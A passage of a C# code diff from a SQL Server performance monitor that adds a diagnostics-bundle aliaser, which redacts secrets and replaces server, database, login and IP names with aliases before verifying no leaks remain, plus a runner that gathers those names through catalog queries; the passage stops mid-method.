+    private readonly HashSet<string> _productValues = new(StringComparer.Ordinal);
+
+    /// <summary>
+    /// Registers text the product itself writes as a value (the section names in the manifest listing). A value that is
+    /// exactly one of these is the product's vocabulary, so a real name that is a substring of it (a database called
+    /// <c>Store</c> against <c>store_log</c>) is not a leak there.
+    /// </summary>
+    internal void NoteProductValues(IEnumerable<string> values)
+    {
+        foreach (var value in values)
+        {
+            if (s_productKeyShape.IsMatch(value))
+            {
+                _productValues.Add(value);
+            }
+        }
+    }
+
+    private bool IsAccountHalf(string half, bool isLogin)
+    {
+        if (IsKept(half) || s_vocabulary.Contains(half) || (s_productKeyShape.IsMatch(half) && _bundleKeys.Contains(half)))
+        {
+            return false;
+        }
+
+        return !(isLogin && s_fileExtension.IsMatch(half));
+    }
+
+    /// <summary>Adds both halves of every quoted <c>WORD\word</c> in <paramref name="text"/>: the domain, and the login.</summary>
+    private void RegisterQuotedAccounts(string text)
+    {
+        if (text.IndexOf('\\', StringComparison.Ordinal) < 0)
+        {
+            return;
+        }
+
+        try
+        {
+            foreach (Match m in s_quotedAccount.Matches(text))
+            {
+                /* The pair is an account only when both halves can be one; a path or help text registers nothing. */
+                if (IsAccountHalf(m.Groups["d"].Value, isLogin: false) && IsAccountHalf(m.Groups["l"].Value, isLogin: true))
+                {
+                    AddName(AliasKind.Domain, m.Groups["d"].Value);
+                    AddName(AliasKind.Login, m.Groups["l"].Value);
+                }
+            }
+        }
+        catch (RegexMatchTimeoutException)
+        {
+            /* A pathological text adds no names here; the verifier still scans for every name already known. */
+        }
+    }
+
+    /// <summary>Adds each comma-separated name in <paramref name="list"/> (a connection string's <c>Host</c> may hold several).</summary>
+    internal void AddNameList(AliasKind kind, string? list)
+    {
+        if (string.IsNullOrWhiteSpace(list))
+        {
+            return;
+        }
+
+        foreach (var part in list.Split(new[] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries))
+        {
+            AddName(kind, part);
+        }
+    }
+
+    /// <summary>
+    /// The harvest pass: walks <paramref name="node"/> and adds the string value of every key in
+    /// <see cref="HarvestKeys"/>, at any depth, to the name set.
+    /// </summary>
+    internal void Harvest(JsonNode? node)
+    {
+        switch (node)
+        {
+            case JsonValue plain when plain.TryGetValue<string>(out var plainText):
+                RegisterQuotedAccounts(plainText);
+                break;
+            case JsonObject obj:
+                foreach (var (key, value) in obj)
+                {
+                    if (HarvestKeys.TryGetValue(key, out var kind) && value is JsonValue v && v.TryGetValue<string>(out var text)
+                        && !string.Equals(text, "(fleet)", StringComparison.Ordinal)
+                        && !(kind == AliasKind.Role && ProductRoles.Contains(text, StringComparer.OrdinalIgnoreCase)))
+                    {
+                        AddName(kind, text);
+                    }
+
+                    Harvest(value);
+                }
+
+                break;
+            case JsonArray array:
+                foreach (var item in array)
+                {
+                    Harvest(item);
+                }
+
+                break;
+        }
+    }
+
+    /// <summary>
+    /// Applies the secret guard and then the alias pass to one text: <c>Password=...</c> and <c>://user:pass@</c> are
+    /// redacted, every known name becomes its alias, and every IP literal becomes <c>ip-N</c>.
+    /// </summary>
+    internal string Alias(string text)
+    {
+        if (text.Length == 0)
+        {
+            return text;
+        }
+
+        var redacted = text;
+        foreach (var secret in _secrets)
+        {
+            redacted = ReplaceSecret(redacted, secret);
+        }
+
+        redacted = SecretTextGuard.RedactText(redacted);
+        RegisterQuotedAccounts(redacted);
+        try
+        {
+            return Scanner().Replace(redacted, Evaluate);
+        }
+        catch (RegexMatchTimeoutException)
+        {
+            return SecretTextGuard.RedactedMarker;
+        }
+    }
+
+    /// <summary>
+    /// A secret of <see cref="VerifyMinimumLength"/> characters or more is replaced wherever it occurs; a shorter one is
+    /// replaced only as a whole word, so a two-character secret does not shred ordinary words.
+    /// </summary>
+    private static string ReplaceSecret(string text, string secret)
+    {
+        if (secret.Length >= VerifyMinimumLength)
+        {
+            return text.Replace(secret, SecretTextGuard.RedactedMarker, StringComparison.Ordinal);
+        }
+
+        try
+        {
+            return Regex.Replace(
+                text, "(?<![A-Za-z0-9_])" + Regex.Escape(secret) + "(?![A-Za-z0-9_])", SecretTextGuard.RedactedMarker,
+                RegexOptions.CultureInvariant, TimeSpan.FromSeconds(2));
+        }
+        catch (RegexMatchTimeoutException)
+        {
+            return SecretTextGuard.RedactedMarker;
+        }
+    }
+
+    /// <summary>
+    /// The key a source key is written under. A key whose whole text equals a known name (the same case-insensitive
+    /// lookup the value pass uses) is renamed to that name's alias, so a name used as a key is never left for the verify
+    /// to exempt as product vocabulary. The product's own keys (<c>status</c>, the harvest keys, the section names and
+    /// the statuses) are never names. A second key that lands on an alias already written gets a numbered suffix.
+    /// </summary>
+    private string AliasKey(string key, JsonObject written)
+    {
+        if (!_aliasByToken.TryGetValue(key, out var alias) || s_productKeys.Contains(key) || HarvestKeys.ContainsKey(key) || _productValues.Contains(key))
+        {
+            return key;
+        }
+
+        var renamed = alias;
+        for (var n = 2; written.ContainsKey(renamed); n++)
+        {
+            renamed = alias + "-" + n.ToString(CultureInfo.InvariantCulture);
+        }
+
+        return renamed;
+    }
+
+    private static readonly HashSet<string> s_productKeys = new(StringComparer.Ordinal) { "status", "server_id", "server_alias" };
+
+    /// <summary>
+    /// Rewrites a tree: every string value goes through <see cref="Alias"/>; every key naming a secret has its value
+    /// replaced by the redaction marker at any depth; a <c>server_id</c> number becomes a <c>server_alias</c> string.
+    /// A key is rewritten only when its WHOLE text is a known name (see <see cref="AliasKey"/>), so the structure
+    /// survives and a monitored name used as a key never reaches the file.
+    /// </summary>
+    internal JsonNode? AliasTree(JsonNode? node)
+    {
+        switch (node)
+        {
+            case null:
+                return null;
+            case JsonObject obj:
+            {
+                var copy = new JsonObject();
+                foreach (var (sourceKey, value) in obj)
+                {
+                    var key = AliasKey(sourceKey, copy);
+                    if (value is JsonValue idValue && string.Equals(key, "server_id", StringComparison.OrdinalIgnoreCase)
+                        && idValue.TryGetValue<long>(out var id))
+                    {
+                        copy["server_alias"] = AliasForServerId(id);
+                    }
+                    else if (IsVersionKey(key) && value is JsonValue ver && ver.TryGetValue<string>(out var versionText) && s_versionShape.IsMatch(versionText))
+                    {
+                        copy[key] = versionText;
+                    }
+                    else if (SecretTextGuard.IsSecretKey(key) && value is not null && !IsPlainScalar(value))
+                    {
+                        copy[key] = SecretTextGuard.RedactedMarker;
+                    }
+                    else
+                    {
+                        copy[key] = AliasTree(value);
+                    }
+                }
+
+                return copy;
+            }
+
+            case JsonArray array:
+            {
+                var copy = new JsonArray();
+                foreach (var item in array)
+                {
+                    copy.Add(AliasTree(item));
+                }
+
+                return copy;
+            }
+
+            case JsonValue value:
+                return value.TryGetValue<string>(out var text) ? JsonValue.Create(Alias(JudgeStatementText(text))) : value.DeepClone();
+            default:
+                return node.DeepClone();
+        }
+    }
+
+    /// <summary>
+    /// #4348: one string of a section through the statement filter, BEFORE the alias pass (the filter reads the text the
+    /// store held, not a name already replaced). A value that opens with <c>&lt;</c> is a plan or report document and
+    /// goes to <see cref="SensitiveStatements.Xml(string?, int)"/>; one that opens with <c>{</c> or <c>[</c> and parses is
+    /// a JSON document and goes to <see cref="SensitiveStatements.Json(string)"/>, which walks its strings; anything else of
+    /// five characters or more goes to <see cref="SensitiveStatements.Text"/>. A value that merely looks like JSON (a log
+    /// line that opens with a bracket) is judged as text, so it is not replaced by the refusal sentence. Each value has
+    /// its own judging budget, so a long section never runs a later value out of time.
+    /// </summary>
+    internal static string JudgeStatementText(string text)
+    {
+        if (text.Length < 5)
+        {
+            return text;
+        }
+
+        var first = text.AsSpan().TrimStart();
+        if (first.IsEmpty)
+        {
+            return text;
+        }
+
+        if (first[0] == '<')
+        {
+            return SensitiveStatements.Xml(text) ?? SensitiveStatements.PlaceholderText;
+        }
+
+        if (first[0] is '{' or '[')
+        {
+            JsonNode? parsed = null;
+            try
+            {
+                parsed = JsonNode.Parse(text);
+            }
+            catch (JsonException)
+            {
+                /* Not a document: judged below as the text it is. */
+            }
+
+            if (parsed is JsonObject or JsonArray)
+            {
+                return SensitiveStatements.Json(text);
+            }
+        }
+
+        return SensitiveStatements.Text(text) ?? SensitiveStatements.PlaceholderText;
+    }
+
+    /// <summary>
+    /// The proof. Serializes <paramref name="root"/> (indented), scans the bytes and the JSON-unescaped text for every
+    /// known token and secret as a plain case-insensitive substring, replaces a name that was glued to word
+    /// characters (which the boundary rule let through) with no boundary, and scans again. Returns the leaks that
+    /// survive, and the final serialized text when there are none.
+    /// </summary>
+    internal (IReadOnlyList<BundleLeak> Leaks, string? Text) Finish(JsonNode root, JsonSerializerOptions options)
+    {
+        for (var pass = 0; pass < 6; pass++)
+        {
+            var text = root.ToJsonString(options);
+            var leaks = Scan(root, text);
+            if (leaks.Count == 0)
+            {
+                return (leaks, text);
+            }
+
+            if (leaks.Any(l => l.Class == "secret"))
+            {
+                return (leaks, null);
+            }
+
+            var tokens = LeakedTokens(root);
+            if (tokens.Count == 0)
+            {
+                return (leaks, null);
+            }
+
+            ReplaceGlued(root, tokens);
+        }
+
+        var finalText = root.ToJsonString(options);
+        var remaining = Scan(root, finalText);
+        return remaining.Count == 0 ? (remaining, finalText) : (remaining, null);
+    }
+
+    /// <summary>The alias map (alias, then the name it stands for), one pair per line, for the opt-in map file.</summary>
+    internal IReadOnlyList<string> AliasMapLines()
+    {
+        var lines = new List<string>();
+        foreach (var token in _tokenOrder)
+        {
+            if (_aliasByToken.TryGetValue(token, out var alias))
+            {
+                lines.Add(alias + "\t" + token);
+            }
+        }
+
+        foreach (var pair in _aliasByServerId.OrderBy(p => p.Key))
+        {
+            lines.Add(pair.Value + "\tserver_id " + pair.Key.ToString(CultureInfo.InvariantCulture));
+        }
+
+        return lines;
+    }
+
+    private static readonly Regex s_versionShape = new(@"^[0-9][0-9A-Za-z.+\-]*$", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    /* A version string such as 1.5.0.0 has the shape of an IPv4 address; it names nothing, so it is kept verbatim. */
+    private static bool IsVersionKey(string key) =>
+        key.EndsWith("_version", StringComparison.OrdinalIgnoreCase) || string.Equals(key, "version", StringComparison.OrdinalIgnoreCase);
+
+    private static bool IsPlainScalar(JsonNode value) =>
+        value is JsonValue v && !v.TryGetValue<string>(out _);
+
+    private string? RegisterBase(AliasKind kind, string baseName)
+    {
+        if (baseName.Length < TokenMinimumLength || IsKept(baseName))
+        {
+            return null;
+        }
+
+        if (IPAddress.TryParse(baseName, out _))
+        {
+            return Map(baseName, AliasOf(baseName, AliasKind.Ip));
+        }
+
+        var dot = baseName.IndexOf('.', StringComparison.Ordinal);
+        if (dot > 0 && dot < baseName.Length - 1 && !baseName.Split('.').All(label => label.All(char.IsDigit)))
+        {
+            var firstLabel = baseName[..dot];
+            var suffix = baseName[(dot + 1)..];
+            /* A kept name, or a product word that is only skipped as a first label (KeptFirstLabels), is not registered on
+               its own: the whole host name takes the alias, so the product's own word stays readable elsewhere. */
+            var alias = (IsKept(firstLabel) || IsKeptFirstLabel(firstLabel)) ? null : AliasOf(firstLabel, kind);
+            if (alias is not null)
+            {
+                Map(baseName, alias);
+            }
+            else
+            {
+                alias = AliasOf(baseName, kind);
+            }
+
+            if (suffix.Length >= TokenMinimumLength)
+            {
+                AliasOf(suffix, AliasKind.Domain);
+            }
+
+            return alias;
+        }
+
+        return AliasOf(baseName, kind);
+    }
+
+    private string AliasOf(string token, AliasKind kind)
+    {
+        if (_aliasByToken.TryGetValue(token, out var known))
+        {
+            return known;
+        }
+
+        var alias = NextAlias(kind, token);
+        return Map(token, alias);
+    }
+
+    private string Map(string token, string alias)
+    {
+        if (token.Length >= TokenMinimumLength && !IsKept(token) && !_aliasByToken.ContainsKey(token))
+        {
+            _aliasByToken[token] = alias;
+            _tokenOrder.Add(token);
+            if (alias.StartsWith("domain-", StringComparison.Ordinal))
+            {
+                _domainTokens.Add(token);
+            }
+
+            _scan = null;
+        }
+
+        return alias;
+    }
+
+    /// <summary>
+    /// The next ordinal alias of a kind. An ordinal whose text equals a real name (a server called <c>server-1</c>, or
+    /// <paramref name="avoid"/>, the token about to take the alias) is skipped, so an alias never reads as a real name.
+    /// </summary>
+    private string NextAlias(AliasKind kind, string? avoid = null)
+    {
+        _ordinals.TryGetValue(kind, out var n);
+        string alias;
+        do
+        {
+            alias = Prefix(kind) + "-" + (++n).ToString(CultureInfo.InvariantCulture);
+        }
+        while (_aliasByToken.ContainsKey(alias) || string.Equals(alias, avoid, StringComparison.OrdinalIgnoreCase));
+
+        _ordinals[kind] = n;
+        _counts.TryGetValue(kind, out var issued);
+        _counts[kind] = issued + 1;
+        return alias;
+    }
+
+    private static string Prefix(AliasKind kind) => kind switch
+    {
+        AliasKind.Server => "server",
+        AliasKind.Host => "host",
+        AliasKind.Database => "db",
+        AliasKind.Domain => "domain",
+        AliasKind.Login => "login",
+        AliasKind.Role => "role",
+        _ => "ip",
+    };
+
+    private string Evaluate(Match match)
+    {
+        var ip = match.Groups["ip"];
+        if (ip.Success)
+        {
+            if (_aliasByToken.TryGetValue(ip.Value, out var known))
+            {
+                return known;
+            }
+
+            /* An IPv4 address written inside an IPv6 one shares the alias of the plain IPv4 address. */
+            var lastColon = ip.Value.LastIndexOf(':');
+            if (lastColon >= 0 && ip.Value.IndexOf('.', StringComparison.Ordinal) > lastColon)
+            {
+                return Map(ip.Value, AliasOf(ip.Value[(lastColon + 1)..], AliasKind.Ip));
+            }
+
+            return AliasOf(ip.Value, AliasKind.Ip);
+        }
+
+        var dotted = match.Groups["dn"];
+        if (dotted.Success)
+        {
+            AddName(AliasKind.Host, dotted.Value);
+            return _aliasByToken.TryGetValue(dotted.Value, out var hostAlias) ? hostAlias : AliasOf(dotted.Value, AliasKind.Host);
+        }
+
+        return _aliasByToken.TryGetValue(match.Groups["tok"].Value, out var alias) ? alias : match.Value;
+    }
+
+    private Regex Scanner()
+    {
+        if (_scan is not null)
+        {
+            return _scan;
+        }
+
+        var tokens = _aliasByToken.Keys.OrderByDescending(t => t.Length).ThenBy(t => t, StringComparer.Ordinal).Select(Regex.Escape).ToList();
+        var alternation = tokens.Count == 0 ? "(?!)" : string.Join('|', tokens);
+        /* A dotted name under a known domain (sql02.example.test when example.test is a domain) is a host nobody registered. */
+        var domains = _domainTokens.OrderByDescending(t => t.Length).ThenBy(t => t, StringComparer.Ordinal).Select(Regex.Escape).ToList();
+        var dotted = domains.Count == 0 ? "(?!)" : @"[A-Za-z0-9_\-]+(?:\.[A-Za-z0-9_\-]+)*\.(?:" + string.Join('|', domains) + ")";
+        var pattern = "(?<![A-Za-z0-9_])(?:(?<tok>" + alternation + ")|(?<dn>" + dotted + ")|(?<ip>" + Ipv6WithIpv4 + "|" + Ipv4 + "|" + Ipv6 + "))(?![A-Za-z0-9_])";
+        _scan = new Regex(
+            pattern,
+            RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | (tokens.Count > 20 ? RegexOptions.Compiled : RegexOptions.None),
+            TimeSpan.FromSeconds(10));
+        return _scan;
+    }
+
+    private bool Verifiable(string token) => token.Length >= VerifyMinimumLength;
+
+    /// <summary>All keys and string values of a tree, for the unescaped scan and the key-contained exemption.</summary>
+    private static void Collect(JsonNode? node, string path, List<(string Path, string Text)> values, HashSet<string> keys)
+    {
+        switch (node)
+        {
+            case JsonObject obj:
+                foreach (var (key, value) in obj)
+                {
+                    keys.Add(key);
+                    Collect(value, path.Length == 0 ? key : path + "." + key, values, keys);
+                }
+
+                break;
+            case JsonArray array:
+                for (var i = 0; i < array.Count; i++)
+                {
+                    Collect(array[i], path + "[" + i.ToString(CultureInfo.InvariantCulture) + "]", values, keys);
+                }
+
+                break;
+            case JsonValue v when v.TryGetValue<string>(out var text):
+                values.Add((path, text));
+                break;
+        }
+    }
+
+    private List<BundleLeak> Scan(JsonNode root, string serialized)
+    {
+        var values = new List<(string Path, string Text)>();
+        var keys = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        Collect(root, string.Empty, values, keys);
+        var unescaped = string.Join('\n', values.Where(v => !_productValues.Contains(v.Text)).Select(v => v.Text));
+        var leaks = new List<BundleLeak>();
+
+        foreach (var secret in _secrets.Where(Verifiable))
+        {
+            if (serialized.Contains(secret, StringComparison.Ordinal) || unescaped.Contains(secret, StringComparison.Ordinal))
+            {
+                leaks.Add(Locate(values, secret, "secret"));
+            }
+        }
+
+        var minted = new HashSet<string>(_aliasByToken.Values, StringComparer.OrdinalIgnoreCase);
+
+        /* Alias text the generator minted (domain-1, host-3) is output, not information, so a real name such as "main"
+           or "host" must not match inside it. The product's own keys are masked the same way (see MaskProductKeys). */
+        var maskedValues = MaskAliasText(unescaped, minted);
+        var maskedBytes = MaskAliasText(MaskProductKeys(serialized), minted);
+        foreach (var token in _aliasByToken.Keys)
+        {
+            if (!Verifiable(token) || TokenIsAliasText(token, minted))
+            {
+                continue;
+            }
+
+            if (maskedValues.Contains(token, StringComparison.OrdinalIgnoreCase) || maskedBytes.Contains(token, StringComparison.OrdinalIgnoreCase))
+            {
+                leaks.Add(Locate(values, token, "name"));
+            }
+        }
+
+        return leaks;
+    }
+
+    private static readonly Regex s_productKeyShape = new("^[a-z0-9_]+$", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+
+    /* A product-shaped string that is a key (a colon follows it) or a registered product value. */
+    private static readonly Regex s_serializedProductKey = new(@"""[a-z0-9_]+""", RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5));
+
+    private static readonly Regex s_aliasShape = new(
+        @"(?<![A-Za-z0-9_])(?:server|host|db|domain|login|role|ip|tag)-\d+(?![A-Za-z0-9_])",
+        RegexOptions.IgnoreCase | RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5));
+
+    /// <summary>
+    /// Blanks every JSON key whose WHOLE text has the product's key shape (<c>^[a-z0-9_]+$</c>): keys are never rewritten,
+    /// so a name that is a substring of <c>store_log</c> is the product's own vocabulary. A key with mixed case, a dot, a
+    /// space or a hyphen is data-shaped and stays in the text, so a name inside it is still a leak.
+    /// </summary>
+    private string MaskProductKeys(string serialized) =>
+        s_serializedProductKey.Replace(serialized, m =>
+        {
+            var isKey = serialized.AsSpan(m.Index + m.Length).TrimStart().StartsWith(":", StringComparison.Ordinal);
+            return isKey || _productValues.Contains(m.Value[1..^1]) ? new string('\u0001', m.Length) : m.Value;
+        });
+
+    /// <summary>Blanks the alias text the generator minted, so a real name cannot match inside it.</summary>
+    private static string MaskAliasText(string text, HashSet<string> minted) =>
+        s_aliasShape.Replace(text, m => minted.Contains(m.Value) ? new string('\u0001', m.Length) : m.Value);
+
+    /// <summary>
+    /// True for text the alias generator itself mints (<c>server-3</c>, <c>ip-1</c>): a token that is exactly one of the
+    /// aliases handed out. A real name that merely looks like an alias, and was never handed out, is still verified.
+    /// </summary>
+    private static bool TokenIsAliasText(string token, HashSet<string> minted)
+    {
+        return minted.Contains(token)
+            && Regex.IsMatch(token, @"^(server|host|db|domain|login|role|ip|tag)-\d+$", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant, TimeSpan.FromSeconds(1));
+    }
+
+    private static BundleLeak Locate(List<(string Path, string Text)> values, string needle, string cls)
+    {
+        foreach (var (path, text) in values)
+        {
+            if (text.Contains(needle, StringComparison.OrdinalIgnoreCase))
+            {
+                return new BundleLeak(SectionOf(path), FieldOf(path), cls);
+            }
+        }
+
+        return new BundleLeak("(structure)", "(key or escaped form)", cls);
+    }
+
+    private static string SectionOf(string path)
+    {
+        var parts = path.Split('.');
+        return parts.Length >= 2 && parts[0] == "sections" ? parts[1] : parts[0];
+    }
+
+    private static string FieldOf(string path)
+    {
+        var parts = path.Split('.');
+        return parts[^1];
+    }
+
+    private HashSet<string> LeakedTokens(JsonNode root)
+    {
+        var values = new List<(string Path, string Text)>();
+        var keys = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        Collect(root, string.Empty, values, keys);
+        var unescaped = string.Join('\n', values.Where(v => !_productValues.Contains(v.Text)).Select(v => v.Text));
+        var hits = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
+        var minted = new HashSet<string>(_aliasByToken.Values, StringComparer.OrdinalIgnoreCase);
+        var masked = MaskAliasText(unescaped, minted);
+        foreach (var token in _aliasByToken.Keys)
+        {
+            if (Verifiable(token) && !TokenIsAliasText(token, minted) && masked.Contains(token, StringComparison.OrdinalIgnoreCase))
+            {
+                hits.Add(token);
+            }
+        }
+
+        return hits;
+    }
+
+    private void ReplaceGlued(JsonNode? node, HashSet<string> tokens)
+    {
+        switch (node)
+        {
+            case JsonObject obj:
+                foreach (var key in obj.Select(p => p.Key).ToList())
+                {
+                    if (obj[key] is JsonValue v && v.TryGetValue<string>(out var text))
+                    {
+                        obj[key] = _productValues.Contains(text) ? text : ReplaceNoBoundary(text, tokens);
+                    }
+                    else
+                    {
+                        ReplaceGlued(obj[key], tokens);
+                    }
+                }
+
+                break;
+            case JsonArray array:
+                for (var i = 0; i < array.Count; i++)
+                {
+                    if (array[i] is JsonValue v && v.TryGetValue<string>(out var text))
+                    {
+                        array[i] = _productValues.Contains(text) ? text : ReplaceNoBoundary(text, tokens);
+                    }
+                    else
+                    {
+                        ReplaceGlued(array[i], tokens);
+                    }
+                }
+
+                break;
+        }
+    }
+
+    /// <summary>Replaces each token wherever it occurs, except inside alias text the generator minted (which is output, never information).</summary>
+    private string ReplaceNoBoundary(string text, HashSet<string> tokens)
+    {
+        var minted = new HashSet<string>(_aliasByToken.Values, StringComparer.OrdinalIgnoreCase);
+        var result = new StringBuilder(text.Length);
+        var last = 0;
+        foreach (Match alias in s_aliasShape.Matches(text))
+        {
+            if (!minted.Contains(alias.Value))
+            {
+                continue;
+            }
+
+            result.Append(ReplaceTokens(text[last..alias.Index], tokens));
+            result.Append(alias.Value);
+            last = alias.Index + alias.Length;
+        }
+
+        result.Append(ReplaceTokens(text[last..], tokens));
+        return result.ToString();
+    }
+
+    private string ReplaceTokens(string text, HashSet<string> tokens)
+    {
+        var result = text;
+        foreach (var token in tokens.OrderByDescending(t => t.Length))
+        {
+            if (result.Contains(token, StringComparison.OrdinalIgnoreCase))
+            {
+                result = Regex.Replace(
+                    result, Regex.Escape(token), _aliasByToken[token], RegexOptions.IgnoreCase | RegexOptions.CultureInvariant, TimeSpan.FromSeconds(5));
+            }
+        }
+
+        return result;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs
new file mode 100644
index 0000000000..1aabff752c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs
@@ -0,0 +1,634 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using DiagnosticsBundleExitCode = PerformanceMonitor.Darling.Service.DarlingCliCommands.DiagnosticsBundleExitCode;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// Reads every bundle section and drives <see cref="DiagnosticsBundle.Assemble"/>. Reads only: it opens the store
+/// through readers that already exist (the statement history is the MCP tool's) and runs a few small catalog reads of its own.
+/// </summary>
+internal static class DiagnosticsBundleRunner
+{
+    /// <summary>The registry's identifier columns, for the name set (the same table the service's config provider reads).</summary>
+    internal const string RegistryNamesSql = @"
+SELECT name, host, database, username, excluded_databases
+FROM config_monitored_servers";
+
+    /// <summary>
+    /// The registry's AWS role columns (#5452, store version 169), for the name set: the role ARN, whose account id is
+    /// aliased too, and the external ID, a secret. The CLI reads with the service's own store login, which reads
+    /// every column of this table (the service's config provider reads the same two). A store older than 168 has no such
+    /// columns; that read adds nothing instead of refusing the bundle.
+    /// </summary>
+    internal const string RegistryAwsSql = @"
+SELECT aws_role_arn, aws_external_id
+FROM config_monitored_servers
+WHERE aws_role_arn IS NOT NULL OR aws_external_id IS NOT NULL";
+
+    /// <summary>Both spellings the collected-data tables use for a server, for the name set.</summary>
+    internal const string CollectServersSql = @"
+SELECT server_id, server_name, display_name
+FROM servers
+ORDER BY server_id";
+
+    /// <summary>Every store login (the system roles excluded), for the name set: a login with no connection string in the config still appears in statement sections.</summary>
+    internal const string StoreRolesSql = @"
+SELECT rolname FROM pg_roles WHERE rolname !~ '^pg_'";
+
+    /// <summary>The store's own database names.</summary>
+    internal const string StoreDatabasesSql = @"
+SELECT datname FROM pg_database";
+
+    /// <summary>
+    /// The monitored database inventory: the distinct database names the periodic per-database state snapshot saw in
+    /// the last 24 hours. The table is chunked by collection_time and indexed on (server_id, collection_time), so a
+    /// bound of one day reads the newest chunk only; the read adds no index. A table that cannot be read is a failed name source.
+    /// </summary>
+    internal const string DatabaseInventorySql = @"
+SELECT DISTINCT database_name
+FROM collect.database_states
+WHERE collection_time >= (now() AT TIME ZONE 'UTC') - INTERVAL '24 hours'
+AND   database_name IS NOT NULL";
+
+    /// <summary>The store-side twin of <see cref="DatabaseInventorySql"/> for PostgreSQL targets, bounded the same way.</summary>
+    internal const string PgDatabaseInventorySql = @"
+SELECT DISTINCT database_name
+FROM collect.pg_database_stats
+WHERE collection_time >= (now() AT TIME ZONE 'UTC') - INTERVAL '24 hours'
+AND   database_name IS NOT NULL";
+
+    /// <summary>
+    /// Whether the statement-history tables exist. Names match V163 as merged; the section reads
+    /// <c>not_present</c> when the tables are absent, so the verb works on a store below that schema. This is the
+    /// only read of the history tables the bundle makes itself: the statements come from
+    /// <see cref="DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistoryUncut"/>.
+    /// </summary>
+    internal const string StatementHistoryPresentSql = @"
+SELECT to_regclass('collect.store_statement_history') IS NOT NULL AND to_regclass('collect.store_statement_captures') IS NOT NULL";
+
+    /// <summary>
+    /// How many rows the history lists: the 25 that spent the most time in the window, one row per role and statement. The
+    /// tool ranks that way, so a statement two roles ran takes two of the 25 rows, and the section can name fewer than 25
+    /// distinct statements. 25 is the cap the section has always had. The tool's default page is 20.
+    /// </summary>
+    internal const int StatementHistoryTop = 25;
+
+    /// <summary>The outcome of building and writing a bundle.</summary>
+    internal sealed record Outcome(
+        int ExitCode, string? Text, IReadOnlyList<BundleLeak> Leaks, BundleAliaser Aliaser, string Message, IReadOnlyList<string>? Warnings = null);
+
+    /// <summary>
+    /// The fleet roll-up with its tag forest reduced to a count. A tag name is text the operator chose (often a client's
+    /// name), and the bundle has no use for it.
+    /// </summary>
+    internal static JsonNode? ShapeFleetOverview(JsonNode? fleet)
+    {
+        if (fleet is JsonObject obj && obj["tags"] is JsonArray tags)
+        {
+            obj["tags"] = new JsonObject { ["count"] = tags.Count };
+        }
+
+        return fleet;
+    }
+
+    /// <summary>
+    /// The slow-read <c>statement_summary</c> label is cut to 40 characters by the tool before the bundle sees it, and a
+    /// database name cut to a prefix matches no known name. Each read's <c>statements</c> array carries the same labels
+    /// whole, so the summary is dropped.
+    /// </summary>
+    internal static JsonNode? DropStatementSummaries(JsonNode? slowReads)
+    {
+        if (slowReads is JsonObject o && o["reads"] is JsonArray reads)
+        {
+            foreach (var read in reads.OfType<JsonObject>())
+            {
+                read.Remove("statement_summary");
+            }
+        }
+
+        return slowReads;
+    }
+
+    /// <summary>
+    /// The health rows' <c>last_error</c> and <c>output_finding</c>, cut to the lengths the MCP tool cuts them to, after
+    /// they have been aliased. The rows are read uncut, so a name that straddles the cut is aliased whole first.
+    /// </summary>
+    internal static JsonNode? CutHealthTexts(JsonNode? collection)
+    {
+        if (collection is JsonObject o && o["health_by_server"] is JsonArray perServer)
+        {
+            foreach (var entry in perServer.OfType<JsonObject>())
+            {
+                if (entry["health"] is JsonObject health && health["collectors"] is JsonArray collectors)
+                {
+                    foreach (var row in collectors.OfType<JsonObject>())
+                    {
+                        CutField(row, "last_error", "last_error_truncated", DarlingMcpDataTools.ErrorMessagePreviewLength);
+                        CutField(row, "output_finding", "output_finding_truncated", DarlingMcpDataTools.OutputFindingPreviewLength);
+                    }
+                }
+            }
+        }
+
+        return collection;
+    }
+
+    private static void CutField(JsonObject row, string field, string flag, int length)
+    {
+        if (row[field] is JsonValue v && v.TryGetValue<string>(out var text) && text.Length > length)
+        {
+            row[field] = McpHelpers.Truncate(text, length);
+            if (row.ContainsKey(flag))
+            {
+                row[flag] = true;
+            }
+        }
+    }
+
+    /// <summary>Statement text in a store-statements section, cut to the preview length after it has been aliased.</summary>
+    internal static JsonNode? CompactStatementTexts(JsonNode? section)
+    {
+        void Cut(JsonNode? node)
+        {
+            switch (node)
+            {
+                case JsonObject o:
+                    foreach (var key in o.Select(p => p.Key).ToList())
+                    {
+                        if (key == "query" && o[key] is JsonValue v && v.TryGetValue<string>(out var text))
+                        {
+                            o[key] = StoreStatementStats.CompactStatementText(text, DarlingMcpStoreQueryStatsTools.PreviewLength);
+                        }
+                        else
+                        {
+                            Cut(o[key]);
+                        }
+                    }
+
+                    break;
+                case JsonArray a:
+                    foreach (var item in a)
+                    {
+                        Cut(item);
+                    }
+
+                    break;
+            }
+        }
+
+        Cut(section);
+        return section;
+    }
+
+    /// <summary>The service log's message text, cut to the entry cap after aliasing.</summary>
+    internal static JsonNode? CapServiceLogMessages(JsonNode? section)
+    {
+        if (section is JsonObject o && o["entries"] is JsonArray entries)
+        {
+            foreach (var entry in entries.OfType<JsonObject>())
+            {
+                if (entry["message"] is JsonValue v && v.TryGetValue<string>(out var text))
+                {
